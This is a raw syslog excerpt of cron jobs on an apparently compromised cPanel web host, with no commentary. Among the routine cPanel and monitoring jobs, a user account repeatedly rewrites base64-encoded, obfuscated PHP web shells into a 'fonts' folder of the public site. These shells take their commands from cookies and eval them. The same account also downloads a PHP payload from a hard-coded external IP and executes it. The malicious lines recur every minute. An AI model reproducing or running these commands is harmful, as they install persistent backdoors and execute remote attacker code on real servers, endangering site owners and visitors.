Sep  3 12:12:01 ip-184-168-122-23 CROND[3406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:12:01 ip-184-168-122-23 CROND[3405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:12:01 ip-184-168-122-23 CROND[3407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:13:01 ip-184-168-122-23 CROND[3548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:13:01 ip-184-168-122-23 CROND[3551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:13:01 ip-184-168-122-23 CROND[3552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:13:01 ip-184-168-122-23 CROND[3550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:14:01 ip-184-168-122-23 CROND[3716]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:14:01 ip-184-168-122-23 CROND[3717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:14:01 ip-184-168-122-23 CROND[3720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:14:01 ip-184-168-122-23 CROND[3722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:14:01 ip-184-168-122-23 CROND[3724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:15:01 ip-184-168-122-23 CROND[3855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:15:01 ip-184-168-122-23 CROND[3857]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  3 12:15:01 ip-184-168-122-23 CROND[3858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:15:01 ip-184-168-122-23 CROND[3859]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 12:15:01 ip-184-168-122-23 CROND[3860]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:15:01 ip-184-168-122-23 CROND[3862]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:15:01 ip-184-168-122-23 CROND[3863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:15:01 ip-184-168-122-23 CROND[3864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:16:01 ip-184-168-122-23 CROND[4131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:16:01 ip-184-168-122-23 CROND[4133]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:16:01 ip-184-168-122-23 CROND[4134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:16:01 ip-184-168-122-23 CROND[4135]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 12:16:01 ip-184-168-122-23 CROND[4138]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:16:01 ip-184-168-122-23 CROND[4136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:17:01 ip-184-168-122-23 CROND[4296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:17:01 ip-184-168-122-23 CROND[4299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:17:01 ip-184-168-122-23 CROND[4300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:17:01 ip-184-168-122-23 CROND[4301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:18:01 ip-184-168-122-23 CROND[4489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:18:01 ip-184-168-122-23 CROND[4490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:18:01 ip-184-168-122-23 CROND[4492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:18:01 ip-184-168-122-23 CROND[4494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:18:01 ip-184-168-122-23 CROND[4498]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:19:01 ip-184-168-122-23 CROND[4718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:19:01 ip-184-168-122-23 CROND[4720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:19:01 ip-184-168-122-23 CROND[4722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:19:01 ip-184-168-122-23 CROND[4721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:20:01 ip-184-168-122-23 CROND[4911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:20:01 ip-184-168-122-23 CROND[4915]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:20:01 ip-184-168-122-23 CROND[4914]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 12:20:01 ip-184-168-122-23 CROND[4917]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 12:20:01 ip-184-168-122-23 CROND[4912]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:20:01 ip-184-168-122-23 CROND[4916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:20:01 ip-184-168-122-23 CROND[4918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:20:01 ip-184-168-122-23 CROND[4924]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:20:01 ip-184-168-122-23 CROND[4921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:21:01 ip-184-168-122-23 CROND[5200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:21:01 ip-184-168-122-23 CROND[5202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:21:01 ip-184-168-122-23 CROND[5205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:21:01 ip-184-168-122-23 CROND[5203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:22:01 ip-184-168-122-23 CROND[5284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:22:01 ip-184-168-122-23 CROND[5287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:22:01 ip-184-168-122-23 CROND[5290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:22:01 ip-184-168-122-23 CROND[5291]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:22:01 ip-184-168-122-23 CROND[5292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:23:01 ip-184-168-122-23 CROND[5376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:23:01 ip-184-168-122-23 CROND[5379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:23:01 ip-184-168-122-23 CROND[5378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:23:01 ip-184-168-122-23 CROND[5380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:24:01 ip-184-168-122-23 CROND[5487]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:24:01 ip-184-168-122-23 CROND[5490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
